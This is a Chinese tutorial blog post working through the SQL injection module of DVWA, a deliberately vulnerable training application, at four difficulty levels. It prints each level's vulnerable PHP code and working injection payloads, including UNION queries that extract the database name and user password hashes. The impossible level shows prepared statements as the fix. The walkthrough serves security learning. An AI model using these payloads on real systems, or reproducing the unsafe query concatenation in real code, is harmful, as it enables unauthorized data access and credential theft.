DVWA之SQL注入(小白友好)

DVWA之SQL注入(SQL Injection)

具体分析来自B站资源
https://www.bilibili.com/video/BV1Di4y1u7s6?p=18

一 LOW级别

1.PHP代码分析

我们可以通过 View Source获得代码如下

<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}
?> 

代码分析如下
在这里插入图片描述在这里插入图片描述在这里插入图片描述这里推荐W3school可以查询PHP的函数等基础知识

2.SQL注入

在这里插入图片描述我们可以判断一下此题可以选用什么类型的注入
当我们输入 3 时
在这里插入图片描述而当我们输入1+2时
在这里插入图片描述如果为数字型,两者返回结果应相同(在数字型中1+2会数字运算得出结果为3,所以两者返回结果会相同),所以此处应为字符型注入。

我们不妨尝试字符型注入。
在这里插入图片描述此次注入的重点在于查询语句,如下
“SELECT first_name, last_name FROM users WHERE user_id = ‘$id’;”
在运行时,我们在id框内输入的id被赋予变量,会原原本本地出现在单引号之间,所以我们需要考虑与原语句中单引号的闭合问题。我们可以尝试以下语句。

例如
SELECT first_name, last_name FROM users WHERE user_id = ’ ’ or 1=1 or ’ ';
在这里插入图片描述
SELECT first_name, last_name FROM users WHERE user_id = ‘1’ or ‘1’=‘1’;
在这里插入图片描述

我们也可以进行手工SQL注入
在这里插入图片描述1.判断字段数目
1’ order by 1 # (#可以注释掉后面的单引号)
在这里插入图片描述
1’ order by 2 #
在这里插入图片描述
1’ order by 3 #
在这里插入图片描述

此时会报错,说明数据库中只有两列,那么我们就可以构造联合查询了
1’ union select 1,2 #
在这里插入图片描述我们发现这两个字段都可以回显,就可以去找当前的名字,数据库的名字
1’ union select user(),database() #
在这里插入图片描述’ union select user,password from users #
在这里插入图片描述加密的密码解密即为password。

二 MEDIUM级别

1.PHP代码分析

在这里插入图片描述我们可以通过 View Source获得代码如下

 <?php
if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Display values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    //mysql_close();
}
?>

对比后我们可以发现二者最大的差别在于
$id = mysql_real_escape_string( $id );
在这里插入图片描述“SELECT first_name, last_name FROM users WHERE user_id = $id;”;
此时为数字型

2.SQL注入

直接注入 id=1 or 1=1
手工SQL注入同上
我们可以使用hackbar进行注入
(hackbar教程https://www.cnblogs.com/wayne-tao/p/11027650.html)
在这里插入图片描述

三 HIGH级别

1.PHP代码分析

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?> 

1.输入参数不存在转义。
2.在拼接id到T-SQL语句时,多了单引号。
3.SQL语句末尾多了limit,限制只返回第一条记录。(可注释绕过)
4.高级代码的输入页面与结果回显页面是两个页面,本意是想防自动化工具,但仍可用second-order命令绕过限制。

2.SQL注入

1’ or 1=1#
1’ and 1=2 union select database(),2#
在这里插入图片描述在这里插入图片描述

四 IMPOSSIBLE级别

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

根据代码可以得知
1.多了token检查。
2.使用get方法获取参数,参数必须为数字。
3.使用PDO方式查询数据,实现命令与数据分离更安全。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值